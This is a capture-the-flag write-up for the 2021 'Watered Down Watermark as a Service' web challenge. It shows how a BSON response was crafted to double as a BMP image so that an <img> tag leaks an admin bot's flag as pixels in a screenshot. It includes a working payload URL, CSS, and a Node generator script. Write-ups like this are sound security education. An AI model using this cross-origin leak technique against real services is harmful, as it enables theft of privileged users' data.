English [2021] [Watered Down Watermark as a ServiceWeb] Write Up

Watered Down Watermark as a Service

We are presented with a Watermark service that add a really nicely draw picture to the bottom corner of the page we’re sending the bot to, e.g.

The CSS of the page is made of wonderful colors that makes the eyes bleed, but we are able to see a button ‘Get the Flag’. Unfortunately, this returns a div ‘No Flag For you’ when clicked.

So we have 2 endpoints, /screenshot?url= that send the bot to the page of our choice, and /add-flag that request the flag from the server and displays it in a div.

Time to dive in the source code

We can see that the admin bot got a secret_cookie that makes it able to get the flag from the endpoint /add-flag when requested; without the admin cookie, it returns “No Flag for you”.
but wait, there’s more.

app.get('/add-flag', (req, res) => {
let tmp_flag = flag
if (req.cookies['admin_cookie'] !== secretvalue) {
tmp_flag = "No flag for you!"
}
try {
let object = {}
if (req.query.object) {
let tmp_obj = Buffer.from(req.query.object, 'base64')
if (parseInt(req.query.compressed)) {
try {
tmp_obj = zlib.inflateSync(tmp_obj);
} catch (e) {
res.status(500).send("zlib error")
}
}
object = bson.deserialize(tmp_obj)
}
object['flag'] = tmp_flag
res.status(200).contentType('application/bson').send(fromBson);
} catch (e) {
res.status(500).send(e)
}
})

The add flag function takes a parameter named object that can be compressed, and unserialize it as a BSON document. What’s BSON ? It’s a serialization format used by mongoDB to store its document : http://bsonspec.org/spec.html

It takes our input, Bson deserialize it, assign it to the returned object then add the flag to this object and returns the re-serialized Bson document.

We can see that the returns of the add-flag endpoint is deserialzed in the index.html, and added to the DOM via this script:

<script src="bson.bundle.js"></script>
<script>
function getFlag(e, form) {
fetch('/add-flag?' + new URLSearchParams(new FormData(form).entries()))
.then(res=&gt;res.arrayBuffer())
.then((obj)=&gt;{out.innerText = BSON.deserialize(obj).flag})
e.preventDefault()
}
let counter = 0
let s = 16
</script>

To add more difficulty, the bot forbid us to load any frame with its own URL in the page we make it visit:

function checkURL(url) {
const urlobj = new URL(url)
if(!urlobj.protocol || !['http:','https:'].some(x=&gt;urlobj.protocol.includes(x)) || urlobj.hostname.includes("actf.co")) return false
return true
}

async function visit(url) {
[...]
page.on('framenavigated', function (frame) {
if (!checkURL(frame.url())) throw URIError('no!!!')
})
[...]
}

So how can we make the bot returns the flag to us, knowing that it forbid to load any frame with its own URL ?

After a lot of trial and error, it’s impossible to bypass this restriction, we got to find a way to exfiltrate this flag without making a frame or a direct request to the add-flag endpoint.

Plus the Content-Type is (‘application/bson’) so it wont load in any tag : script / embed / whatever.

What HTML tag would be rendered by the browser, no matter his content-type ?
… Right, an <img> tag. It’s gonna be painful.

So the idea is to craft a Bson that “looks like” an valid image, so the image tag would render it.
If we manage to craft a payload which is a valid image, then the pixels in the image could be exfiltrated to give us the flag.

Time to read some docs about image format. The simpliest one seems to be BMP format: no compression, relatively easy to craft.

We need a valid BMP header (BM) : the first 2 bytes of a BSON document are its size, so we gonna fill the document with junk until we reach the proper size that makes it look like a BMP file ( 0x42 0x4D == BM)

The BSON format allows us to serialize and deserialize ArrayBuffer type; It makes the task a little more easy: it’s possible to craft a BSON Document of the right size, containing an array buffer that comply with the BMP Header format.
This way, we’d got a valid BSON AND a valid BMP file.

Hopefully someone on the internet already did a great part of the work to manually craft a BMP image : https://medium.com/sysf/bits-to-bitmaps-a-simple-walkthrough-of-bmp-image-format-765dc6857393

Following his guidelines, we craft a valid BMP header :

let bmp_header = Buffer.from([
//Header Size
0x28 ,0x00 ,0x00 ,0x00,
//WIDTH
0xFF ,0x03 ,0x00 ,0x00 ,
//HEIGHT
0xFF ,0x03 ,0x00 ,0x00 ,
//COLOR PLANE
0x01 ,0x00 ,
//BIT PER PIXEL
0x18 ,0x00 ,
//COMPRESSION
0x00 ,0x00 ,0x00 ,0x00 ,
//ImageSize Compressed
0x00 ,0x00, 0x00 ,0x00,
//XPixelpermEter
0x00 ,0x00 ,0x00 ,0x00 ,
//Y PixelsPerMEter
0x00 ,0x00 ,0x00 ,0x00 ,
//Nb colors
0x00 ,0x00 ,0x00 ,0x00 ,
//important Colors
0x00 ,0x00 ,0x00 ,0x00 ,
]);

We want the image to be huge in order to distinguish the flag pixels, so we set the with and height to 1023.

We then fill it with 0x00 bytes ( black ) and add padding to match the correct size that makes the header of a BMP.

The image is now rendering in a browser, Great success. We compress it with zlib ( because the payload is too large to be sent through a request param) and try to display it via the add-flag endpoint.

When we first tried render our malicious page with the crafted img payload

<div><img src="https://wdwaas.2021.chall.actf.co/add-flag?object=eJztyUEKwUEAxeE35AA2cgQnmAPY29pP8pealWwk13I9ppQzSN9Xv3r1truSRa01%2B5pkM3rNP5WsAwAAAAAAAAAAAAAAAMA%2Fm029nbIcqx2u0719PcZ17v14yXNVcgMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPglyRvtVtKd&amp;compressed=1"/></div>

It didnt render anything … WHAT ?? WHY ?

After analyzing the returned Buffer from the endpoint, it seems like the payload were a bit off ( no idea why), so the header value was 0x43 0x4d instead of 0x42 0x4d. No worries, lets just delete a bit and it’s now rendering !

Time to send the bot to our malicious page and get that yummy flag !!

But wait.. There is MORE…

The img wasnt displayed in the screenshot the bot took.
Of course, the flag length isn’t the same as the string “No Flag for you”..
Time for a little bruteforce to find the correct length.
We Craft 32 payload of different sizes and send the bot to visit the page :
The only img display is the 32th, so flag length must be 32.

Now we’ve got everything we need, let’s exfiltrate this flag.
With a little CSS trickery, we manage to display the part of the image that contains the flag embedded in the BMP pixel :

<style>
img {
width:390%;
height:390%;
left:-1000px;
top:-2000px;
image-rendering:pixelated;
float:left;
position:relative;
}
</style>

Here we are, finally. Lets open GIMP and color pick the values

660200 67616c 002100 610000 667463 5f617b 6f7263 5f7373 69726f 6e6967 736174 6f7274 656870 02007d

Aaaand…
f..gal.!.a..ftc_a{orc_ssironigsatortehp..}

Close but not enough. We need to reverse the hexa values from right to left :

02007d 656870 6f7274 736174 61635f 6e6967 69726f 5f7373 6f7263 5f617b 667463 610000 002100 67616c 660200

..}ehportsatac_nigiro_ssorc_a{ftca…!.galf..

STILL NOT ENOUGH, but it definitely looks like a flag now. Let’s now reverse characters :

..flag.!…actf{a_cross_origin_catastrophe}..

And it’s a WIN 🙂

Below the script used to generate the img link

const bson = require('bson')
const fs = require('fs')
const zlib = require('zlib')

let bmp_header = Buffer.from([
//Header Size
0x28 ,0x00 ,0x00 ,0x00,
//WIDTH
0xFF ,0x03 ,0x00 ,0x00 ,
//HEIGHT
0xFF ,0x03 ,0x00 ,0x00 ,
//COLOR PLANE
0x01 ,0x00 ,
//BIT PER PIXEL
0x18 ,0x00 ,
//COMPRESSION
0x00 ,0x00 ,0x00 ,0x00 ,
//ImageSize Compressed
0x00 ,0x00, 0x00 ,0x00,
//XPixelpermEter
0x00 ,0x00 ,0x00 ,0x00 ,
//Y PixelsPerMEter
0x00 ,0x00 ,0x00 ,0x00 ,
//Nb colors
0x00 ,0x00 ,0x00 ,0x00 ,
//important Colors
0x00 ,0x00 ,0x00 ,0x00 ,
]);

let bmp_pixels = Buffer.alloc(13870, 0x00);
//let url = 'http://localhost:3000';
let url = 'https://wdwaas.2021.chall.actf.co'
for(var j = 10; j < 32;j++){
const document = {
"666":Buffer.concat([bmp_header, bmp_pixels]),
flag:`actf{${'a'.repeat(j)}}`,
"filler": "y".repeat(10)
}
let bson_document_buffer = bson.serialize(document);
var i = 5831;
while (bson_document_buffer[0] != 0x42 || bson_document_buffer[1] != 0x4D) {
document.filler = "y".repeat(i);
bson_document_buffer = bson.serialize(document);
i++;
}
fs.writeFileSync('out'+j, bson_document_buffer, 'utf-8');
const zlibed = zlib.deflateSync(bson_document_buffer)

const buff64 = zlibed.toString('base64');
const buffC = encodeURIComponent(buff64)
console.log(`<div>${j}<img src="${url}/add-flag?object=${buffC}&amp;compressed=1"/></div>`);
}

Leave a Reply

Your email address will not be published. Required fields are marked *